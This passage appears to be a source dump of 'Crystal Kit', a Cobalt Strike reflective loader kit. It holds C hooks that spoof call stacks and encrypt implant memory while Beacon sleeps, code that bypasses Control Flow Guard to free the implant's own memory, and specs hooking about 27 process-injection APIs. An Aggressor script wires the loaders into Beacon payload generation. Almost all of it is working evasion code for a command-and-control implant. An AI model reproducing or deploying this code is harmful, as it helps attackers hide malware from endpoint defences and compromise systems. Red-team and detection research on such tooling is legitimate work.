36 | { 37 | funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress; 38 | } 39 | 40 | void setup_memory ( MEMORY_LAYOUT * layout ) 41 | { 42 | if ( layout != NULL ) { 43 | g_memory = * layout; 44 | } 45 | } 46 | 47 | /* 48 | * throw these hooks in here because 49 | * sharing a global across multiple 50 | * modules is still a bit of a headache 51 | */ 52 | 53 | VOID WINAPI _Sleep ( DWORD dwMilliseconds ) 54 | { 55 | FUNCTION_CALL call = { 0 }; 56 | 57 | call.ptr = ( PVOID ) ( KERNEL32$Sleep ); 58 | call.argc = 1; 59 | 60 | call.args [ 0 ] = spoof_arg ( dwMilliseconds ); 61 | 62 | /* 63 | * for performance reasons, only mask 64 | * memory if sleep time is equal to 65 | * or greater than 1 second 66 | */ 67 | 68 | if ( dwMilliseconds >= 1000 ) { 69 | mask_memory ( &g_memory, TRUE ); 70 | } 71 | 72 | spoof_call ( &call ); 73 | 74 | if ( dwMilliseconds >= 1000 ) { 75 | mask_memory ( &g_memory, FALSE ); 76 | } 77 | } 78 | 79 | VOID WINAPI _ExitThread ( DWORD dwExitCode ) 80 | { 81 | /* free memory */ 82 | cleanup_memory ( &g_memory ); 83 | 84 | /* call the real exit thread */ 85 | FUNCTION_CALL call = { 0 }; 86 | 87 | call.ptr = ( PVOID ) ( KERNEL32$ExitThread ); 88 | call.argc = 1; 89 | 90 | call.args [ 0 ] = spoof_arg ( dwExitCode ); 91 | 92 | spoof_call ( &call ); 93 | } 94 | -------------------------------------------------------------------------------- /local-loader/src/pico.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "memory.h" 3 | #include "mask.h" 4 | #include "spoof.h" 5 | #include "cleanup.h" 6 | #include "tcg.h" 7 | 8 | MEMORY_LAYOUT g_memory; 9 | 10 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); 11 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); 12 | 13 | FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName ) 14 | { 15 | /* lpProcName may be an ordinal */ 16 | if ( ( ULONG_PTR ) lpProcName >> 16 == 0 ) 17 | { 18 | /* just resolve normally */ 19 | return GetProcAddress ( hModule, lpProcName ); 20 | } 21 | 22 | FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) ); 23 | 24 | /* 25 | * result may still be NULL if 26 | * it wasn't hooked in the spec 27 | */ 28 | if ( result != NULL ) { 29 | return result; 30 | } 31 | 32 | return GetProcAddress ( hModule, lpProcName ); 33 | } 34 | 35 | void setup_hooks ( IMPORTFUNCS * funcs ) 36 | { 37 | funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress; 38 | } 39 | 40 | void setup_memory ( MEMORY_LAYOUT * layout ) 41 | { 42 | if ( layout != NULL ) { 43 | g_memory = * layout; 44 | } 45 | } 46 | 47 | /* 48 | * throw these hooks in here because 49 | * sharing a global across multiple 50 | * modules is still a bit of a headache 51 | */ 52 | 53 | VOID WINAPI _Sleep ( DWORD dwMilliseconds ) 54 | { 55 | FUNCTION_CALL call = { 0 }; 56 | 57 | call.ptr = ( PVOID ) ( KERNEL32$Sleep ); 58 | call.argc = 1; 59 | 60 | call.args [ 0 ] = spoof_arg ( dwMilliseconds ); 61 | 62 | /* 63 | * for performance reasons, only mask 64 | * memory if sleep time is equal to 65 | * or greater than 1 second 66 | */ 67 | 68 | if ( dwMilliseconds >= 1000 ) { 69 | mask_memory ( &g_memory, TRUE ); 70 | } 71 | 72 | spoof_call ( &call ); 73 | 74 | if ( dwMilliseconds >= 1000 ) { 75 | mask_memory ( &g_memory, FALSE ); 76 | } 77 | } 78 | 79 | VOID WINAPI _ExitThread ( DWORD dwExitCode ) 80 | { 81 | /* free memory */ 82 | cleanup_memory ( &g_memory ); 83 | 84 | /* call the real exit thread */ 85 | FUNCTION_CALL call = { 0 }; 86 | 87 | call.ptr = ( PVOID ) ( KERNEL32$ExitThread ); 88 | call.argc = 1; 89 | 90 | call.args [ 0 ] = spoof_arg ( dwExitCode ); 91 | 92 | spoof_call ( &call ); 93 | } 94 | -------------------------------------------------------------------------------- /loader/pico.spec: -------------------------------------------------------------------------------- 1 | x64: 2 | load "bin/pico.x64.o" 3 | make object +disco 4 | 5 | # merge the hook functions 6 | load "bin/hooks.x64.o" 7 | merge 8 | 9 | # merge the call stack spoofing 10 | load "bin/spoof.x64.o" 11 | merge 12 | 13 | # merge the asm stub 14 | load "bin/draugr.x64.bin" 15 | linkfunc "draugr_stub" 16 | 17 | # merge mask 18 | load "bin/mask.x64.o" 19 | merge 20 | 21 | # generate and patch 22 | # in a random key 23 | generate $KEY 128 24 | patch "xorkey" $KEY 25 | 26 | # merge cfg code 27 | load "bin/cfg.x64.o" 28 | merge 29 | 30 | # merge cleanup 31 | load "bin/cleanup.x64.o" 32 | merge 33 | 34 | # export setup_hooks and setup_memory 35 | exportfunc "setup_hooks" "__tag_setup_hooks" 36 | exportfunc "setup_memory" "__tag_setup_memory" 37 | 38 | # hook functions in the DLL 39 | addhook "WININET$InternetOpenA" "_InternetOpenA" 40 | addhook "WININET$InternetConnectA" "_InternetConnectA" 41 | addhook "KERNEL32$CloseHandle" "_CloseHandle" 42 | addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA" 43 | addhook "KERNEL32$CreateProcessA" "_CreateProcessA" 44 | addhook "KERNEL32$CreateRemoteThread" "_CreateRemoteThread" 45 | addhook "KERNEL32$CreateThread" "_CreateThread" 46 | addhook "KERNEL32$DuplicateHandle" "_DuplicateHandle" 47 | addhook "KERNEL32$ExitThread" "_ExitThread" 48 | addhook "KERNEL32$GetThreadContext" "_GetThreadContext" 49 | addhook "KERNEL32$LoadLibraryA" "_LoadLibraryA" 50 | addhook "KERNEL32$MapViewOfFile" "_MapViewOfFile" 51 | addhook "KERNEL32$OpenProcess" "_OpenProcess" 52 | addhook "KERNEL32$OpenThread" "_OpenThread" 53 | addhook "KERNEL32$ReadProcessMemory" "_ReadProcessMemory" 54 | addhook "KERNEL32$ResumeThread" "_ResumeThread" 55 | addhook "KERNEL32$SetThreadContext" "_SetThreadContext" 56 | addhook "KERNEL32$Sleep" "_Sleep" 57 | addhook "KERNEL32$UnmapViewOfFile" "_UnmapViewOfFile" 58 | addhook "KERNEL32$VirtualAlloc" "_VirtualAlloc" 59 | addhook "KERNEL32$VirtualAllocEx" "_VirtualAllocEx" 60 | addhook "KERNEL32$VirtualFree" "_VirtualFree" 61 | addhook "KERNEL32$VirtualProtect" "_VirtualProtect" 62 | addhook "KERNEL32$VirtualProtectEx" "_VirtualProtectEx" 63 | addhook "KERNEL32$VirtualQuery" "_VirtualQuery" 64 | addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory" 65 | addhook "OLE32$CoCreateInstance" "_CoCreateInstance" 66 | 67 | mergelib "../libtcg.x64.zip" 68 | 69 | export 70 | -------------------------------------------------------------------------------- /local-loader/pico.spec: -------------------------------------------------------------------------------- 1 | x64: 2 | load "bin/pico.x64.o" 3 | make object +disco 4 | 5 | # merge the hook functions 6 | load "bin/hooks.x64.o" 7 | merge 8 | 9 | # merge the call stack spoofing 10 | load "bin/spoof.x64.o" 11 | merge 12 | 13 | # merge the asm stub 14 | load "bin/draugr.x64.bin" 15 | linkfunc "draugr_stub" 16 | 17 | # merge mask 18 | load "bin/mask.x64.o" 19 | merge 20 | 21 | # generate and patch 22 | # in a random key 23 | generate $KEY 128 24 | patch "xorkey" $KEY 25 | 26 | # merge cfg code 27 | load "bin/cfg.x64.o" 28 | merge 29 | 30 | # merge cleanup 31 | load "bin/cleanup.x64.o" 32 | merge 33 | 34 | # export setup_hooks and setup_memory 35 | exportfunc "setup_hooks" "__tag_setup_hooks" 36 | exportfunc "setup_memory" "__tag_setup_memory" 37 | 38 | # hook functions in the DLL 39 | addhook "WININET$InternetOpenA" "_InternetOpenA" 40 | addhook "WININET$InternetConnectA" "_InternetConnectA" 41 | addhook "KERNEL32$CloseHandle" "_CloseHandle" 42 | addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA" 43 | addhook "KERNEL32$CreateProcessA" "_CreateProcessA" 44 | addhook "KERNEL32$CreateRemoteThread" "_CreateRemoteThread" 45 | addhook "KERNEL32$CreateThread" "_CreateThread" 46 | addhook "KERNEL32$DuplicateHandle" "_DuplicateHandle" 47 | addhook "KERNEL32$ExitThread" "_ExitThread" 48 | addhook "KERNEL32$GetThreadContext" "_GetThreadContext" 49 | addhook "KERNEL32$LoadLibraryA" "_LoadLibraryA" 50 | addhook "KERNEL32$MapViewOfFile" "_MapViewOfFile" 51 | addhook "KERNEL32$OpenProcess" "_OpenProcess" 52 | addhook "KERNEL32$OpenThread" "_OpenThread" 53 | addhook "KERNEL32$ReadProcessMemory" "_ReadProcessMemory" 54 | addhook "KERNEL32$ResumeThread" "_ResumeThread" 55 | addhook "KERNEL32$SetThreadContext" "_SetThreadContext" 56 | addhook "KERNEL32$Sleep" "_Sleep" 57 | addhook "KERNEL32$UnmapViewOfFile" "_UnmapViewOfFile" 58 | addhook "KERNEL32$VirtualAlloc" "_VirtualAlloc" 59 | addhook "KERNEL32$VirtualAllocEx" "_VirtualAllocEx" 60 | addhook "KERNEL32$VirtualFree" "_VirtualFree" 61 | addhook "KERNEL32$VirtualProtect" "_VirtualProtect" 62 | addhook "KERNEL32$VirtualProtectEx" "_VirtualProtectEx" 63 | addhook "KERNEL32$VirtualQuery" "_VirtualQuery" 64 | addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory" 65 | addhook "OLE32$CoCreateInstance" "_CoCreateInstance" 66 | 67 | mergelib "../libtcg.x64.zip" 68 | 69 | export 70 | -------------------------------------------------------------------------------- /crystalkit.cna: -------------------------------------------------------------------------------- 1 | debug ( 7 ); 2 | 3 | import crystalpalace.spec.* from: crystalpalace.jar; 4 | import java.util.HashMap; 5 | 6 | sub print_info { 7 | println ( formatDate ( "[HH:mm:ss] " ) . "\cE[Crystal Kit]\o " . $1 ); 8 | } 9 | 10 | set BEACON_RDLL_GENERATE 11 | { 12 | local ( '$beacon $arch $spec_path $spec $final' ); 13 | 14 | $beacon = $2; 15 | $arch = $3; 16 | 17 | if ( $arch eq "x86" ) 18 | { 19 | warn ( "Crystal Kit is x64 only" ); 20 | return $null; 21 | } 22 | 23 | print_info ( "BEACON_RDLL_GENERATE" ); 24 | 25 | $spec_path = getFileProper ( script_resource ( "loader" ), "loader.spec" ); 26 | $spec = [ LinkSpec Parse: $spec_path ]; 27 | $final = [ $spec run: $beacon, [ new HashMap ] ]; 28 | 29 | if ( strlen ( $final ) == 0 ) 30 | { 31 | warn ( "Failed to build payload" ); 32 | return $null; 33 | } 34 | 35 | return $final; 36 | } 37 | 38 | set BEACON_RDLL_SIZE { 39 | return "0"; 40 | } 41 | 42 | set BEACON_RDLL_GENERATE_LOCAL 43 | { 44 | local ( '$beacon $arch $gmh $gpa $spec_path $spec $hash_map $final' ); 45 | 46 | $beacon = $2; 47 | $arch = $3; 48 | $gmh = $5; 49 | $gpa = $6; 50 | 51 | if ( $arch eq "x86" ) 52 | { 53 | warn ( "Crystal Kit is x64 only" ); 54 | return $null; 55 | } 56 | 57 | print_info ( "BEACON_RDLL_GENERATE_LOCAL" ); 58 | 59 | $spec_path = getFileProper ( script_resource ( "local-loader" ), "loader.spec" ); 60 | $spec = [ LinkSpec Parse: $spec_path ]; 61 | 62 | $hash_map = [ new HashMap ]; 63 | 64 | [ $hash_map put: "\$GMH", cast ( $gmh, 'b' ) ]; 65 | [ $hash_map put: "\$GPA", cast ( $gpa, 'b' ) ]; 66 | 67 | $final = [ $spec run: $beacon, $hash_map ]; 68 | 69 | if ( strlen ( $final ) == 0 ) 70 | { 71 | warn ( "Failed to build payload" ); 72 | return $null; 73 | } 74 | 75 | return $final; 76 | } 77 | 78 | set POSTEX_RDLL_GENERATE 79 | { 80 | local ( '$postex $arch $gmh $gpa $spec_path $spec $hash_map $final' ); 81 | 82 | $postex = $2; 83 | $arch = $3; 84 | $gmh = $5; 85 | $gpa = $6; 86 | 87 | if ( $arch eq "x86" ) 88 | { 89 | warn ( "Crystal Kit is x64 only" ); 90 | return $null; 91 | } 92 | 93 | print_info ( "POSTEX_RDLL_GENERATE" ); 94 | 95 | $spec_path = getFileProper ( script_resource ( "postex-loader" ), "loader.spec" ); 96 | $spec = [ LinkSpec Parse: $spec_path ]; 97 | 98 | $hash_map = [ new HashMap ]; 99 | 100 | [ $hash_map put: "\$GMH", cast ( $gmh, 'b' ) ]; 101 | [ $hash_map put: "\$GPA", cast ( $gpa, 'b' ) ]; 102 | 103 | $final = [ $spec run: $postex, $hash_map ]; 104 | 105 | if ( strlen ( $final ) == 0 ) 106 | { 107 | warn ( "Failed to build package" ); 108 | return $null; 109 | } 110 | 111 | return $final; 112 | } 113 | -------------------------------------------------------------------------------- /loader/src/cleanup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "memory.h" 3 | #include "cfg.h" 4 | #include "tcg.h" 5 | 6 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( ); 7 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG ); 8 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); 9 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( ); 10 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T ); 11 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); 12 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); 13 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); 14 | 15 | DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); 16 | 17 | #define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z ); 18 | 19 | void cleanup_memory ( MEMORY_LAYOUT * memory ) 20 | { 21 | /* is cfg enabled? */ 22 | BOOL enabled = cfg_enabled ( ); 23 | 24 | if ( enabled ) { 25 | /* try to bypass it at NtContinue */ 26 | if ( bypass_cfg ( NTDLL$NtContinue ) ) { 27 | enabled = FALSE; 28 | } 29 | } 30 | 31 | /* 32 | * just return if we 33 | * failed to bypass it 34 | */ 35 | 36 | if ( enabled ) { 37 | return; 38 | } 39 | 40 | /* 41 | * crack on and setup a timer 42 | * to free the memory regions 43 | */ 44 | 45 | CONTEXT ctx = { 0 }; 46 | ctx.ContextFlags = CONTEXT_ALL; 47 | 48 | HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL; 49 | 50 | if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) 51 | { 52 | /* give RtlCaptureContext a chance to run */ 53 | KERNEL32$Sleep ( 100 ); 54 | 55 | if ( ctx.Rip != 0 ) 56 | { 57 | HANDLE heap = KERNEL32$GetProcessHeap ( ); 58 | CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 ); 59 | 60 | for ( int i = 0; i < 2; i++ ) { 61 | memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) ); 62 | } 63 | 64 | /* 65 | * we use VirtualFree here because 66 | * the loader uses VirtualAlloc 67 | */ 68 | 69 | /* the dll */ 70 | ctx_free[ 0 ].Rsp -= sizeof ( PVOID ); 71 | ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); 72 | ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress ); 73 | ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 ); 74 | ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); 75 | 76 | /* this pico */ 77 | ctx_free[ 1 ].Rsp -= sizeof ( PVOID ); 78 | ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); 79 | ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress ); 80 | ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 ); 81 | ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); 82 | 83 | /* give a decent delay so ExitThread has time to be called */ 84 | KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); 85 | KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); 86 | } 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /local-loader/src/cleanup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "memory.h" 3 | #include "cfg.h" 4 | #include "spoof.h" 5 | #include "tcg.h" 6 | 7 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( ); 8 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG ); 9 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); 10 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( ); 11 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T ); 12 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); 13 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); 14 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); 15 | 16 | DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); 17 | 18 | #define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z ); 19 | 20 | void cleanup_memory ( MEMORY_LAYOUT * memory ) 21 | { 22 | /* is cfg enabled? */ 23 | BOOL enabled = cfg_enabled ( ); 24 | 25 | if ( enabled ) { 26 | /* try to bypass it at NtContinue */ 27 | if ( bypass_cfg ( NTDLL$NtContinue ) ) { 28 | enabled = FALSE; 29 | } 30 | } 31 | 32 | /* 33 | * just return if we 34 | * failed to bypass it 35 | */ 36 | 37 | if ( enabled ) { 38 | return; 39 | } 40 | 41 | /* 42 | * crack on and setup a timer 43 | * to free the memory regions 44 | */ 45 | 46 | CONTEXT ctx = { 0 }; 47 | ctx.ContextFlags = CONTEXT_ALL; 48 | 49 | HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL; 50 | 51 | if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) 52 | { 53 | /* give RtlCaptureContext a chance to run */ 54 | KERNEL32$Sleep ( 100 ); 55 | 56 | if ( ctx.Rip != 0 ) 57 | { 58 | HANDLE heap = KERNEL32$GetProcessHeap ( ); 59 | CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 ); 60 | 61 | for ( int i = 0; i < 2; i++ ) { 62 | memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) ); 63 | } 64 | 65 | /* 66 | * we use VirtualFree here because 67 | * the loader uses VirtualAlloc 68 | */ 69 | 70 | /* the dll */ 71 | ctx_free[ 0 ].Rsp -= sizeof ( PVOID ); 72 | ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); 73 | ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress ); 74 | ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 ); 75 | ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); 76 | 77 | /* this pico */ 78 | ctx_free[ 1 ].Rsp -= sizeof ( PVOID ); 79 | ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); 80 | ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress ); 81 | ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 ); 82 | ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); 83 | 84 | /* give a decent delay so ExitThread has time to be called */ 85 | KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); 86 | KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); 87 | } 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /postex-loader/src/cleanup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "memory.h" 3 | #include "cfg.h" 4 | #include "spoof.h" 5 | #include "tcg.h" 6 | 7 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( ); 8 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG ); 9 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); 10 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( ); 11 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T ); 12 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); 13 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); 14 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); 15 | 16 | DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); 17 | 18 | #define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z ); 19 | 20 | void cleanup_memory ( MEMORY_LAYOUT * memory ) 21 | { 22 | /* is cfg enabled? */ 23 | BOOL enabled = cfg_enabled ( ); 24 | 25 | if ( enabled ) { 26 | /* try to bypass it at NtContinue */ 27 | if ( bypass_cfg ( NTDLL$NtContinue ) ) { 28 | enabled = FALSE; 29 | } 30 | } 31 | 32 | /* 33 | * just return if we 34 | * failed to bypass it 35 | */ 36 | 37 | if ( enabled ) { 38 | return; 39 | } 40 | 41 | /* 42 | * crack on and setup a timer 43 | * to free the memory regions 44 | */ 45 | 46 | CONTEXT ctx = { 0 }; 47 | ctx.ContextFlags = CONTEXT_ALL; 48 | 49 | HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL; 50 | 51 | if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) 52 | { 53 | /* give RtlCaptureContext a chance to run */ 54 | KERNEL32$Sleep ( 100 ); 55 | 56 | if ( ctx.Rip != 0 ) 57 | { 58 | HANDLE heap = KERNEL32$GetProcessHeap ( ); 59 | CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 ); 60 | 61 | for ( int i = 0; i < 2; i++ ) { 62 | memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) ); 63 | } 64 | 65 | /* 66 | * we use VirtualFree here because 67 | * the loader uses VirtualAlloc 68 | */ 69 | 70 | /* the dll */ 71 | ctx_free[ 0 ].Rsp -= sizeof ( PVOID ); 72 | ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); 73 | ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress ); 74 | ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 ); 75 | ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); 76 | 77 | /* this pico */ 78 | ctx_free[ 1 ].Rsp -= sizeof ( PVOID ); 79 | ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); 80 | ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress ); 81 | ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 ); 82 | ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); 83 | 84 | dprintf("dll @ 0x%p\n", memory->Dll.BaseAddress); 85 | dprintf("pico @ 0x%p\n", memory->Pico.BaseAddress); 86 | 87 | /* give a decent delay so ExitThread has time to be called */ 88 | KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); 89 | KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); 90 | } 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /loader/src/cfg.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "cfg.h" 3 | 4 | #define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 ) 5 | #define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 ) 6 | 7 | typedef struct { 8 | ULONG ExtendedProcessInfo; 9 | ULONG ExtendedProcessInfoBuffer; 10 | } EXTENDED_PROCESS_INFORMATION; 11 | 12 | typedef enum { 13 | ProcessUserModeIOPL = 16, 14 | ProcessCookie = 36 15 | } PROCESSINFOCLASS; 16 | 17 | typedef struct { 18 | DWORD dwNumberOfOffsets; 19 | PULONG plOutput; 20 | PCFG_CALL_TARGET_INFO ptOffsets; 21 | PVOID pMustBeZero; 22 | PVOID pMoarZero; 23 | } VM_INFORMATION; 24 | 25 | typedef enum { 26 | VmPrefetchInformation, 27 | VmPagePriorityInformation, 28 | VmCfgCallTargetInformation 29 | } VIRTUAL_MEMORY_INFORMATION_CLASS; 30 | 31 | typedef struct { 32 | PVOID VirtualAddress; 33 | SIZE_T NumberOfBytes; 34 | } MEMORY_RANGE_ENTRY; 35 | 36 | typedef enum { 37 | MemoryBasicInformation 38 | } MEMORY_INFORMATION_CLASS; 39 | 40 | DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG ); 41 | DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T ); 42 | DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG ); 43 | 44 | BOOL cfg_enabled ( ) 45 | { 46 | EXTENDED_PROCESS_INFORMATION proc_info = { 0 }; 47 | 48 | NTSTATUS status = 0; 49 | 50 | proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy; 51 | proc_info.ExtendedProcessInfoBuffer = 0; 52 | 53 | status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL ); 54 | 55 | if ( ! NT_SUCCESS ( status ) ) { 56 | return FALSE; 57 | } 58 | 59 | return proc_info.ExtendedProcessInfoBuffer; 60 | } 61 | 62 | BOOL bypass_cfg ( PVOID address ) 63 | { 64 | MEMORY_BASIC_INFORMATION mbi = { 0 }; 65 | VM_INFORMATION vmi = { 0 }; 66 | MEMORY_RANGE_ENTRY mre = { 0 }; 67 | CFG_CALL_TARGET_INFO cti = { 0 }; 68 | 69 | NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 ); 70 | 71 | if ( ! NT_SUCCESS ( status ) ) { 72 | return FALSE; 73 | } 74 | 75 | if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) { 76 | return FALSE; 77 | } 78 | 79 | cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress; 80 | cti.Flags = CFG_CALL_TARGET_VALID; 81 | 82 | mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize; 83 | mre.VirtualAddress = ( PVOID ) mbi.BaseAddress; 84 | 85 | ULONG output = 0; 86 | 87 | vmi.dwNumberOfOffsets = 0x1; 88 | vmi.plOutput = &output; 89 | vmi.ptOffsets = &cti; 90 | vmi.pMustBeZero = 0x0; 91 | 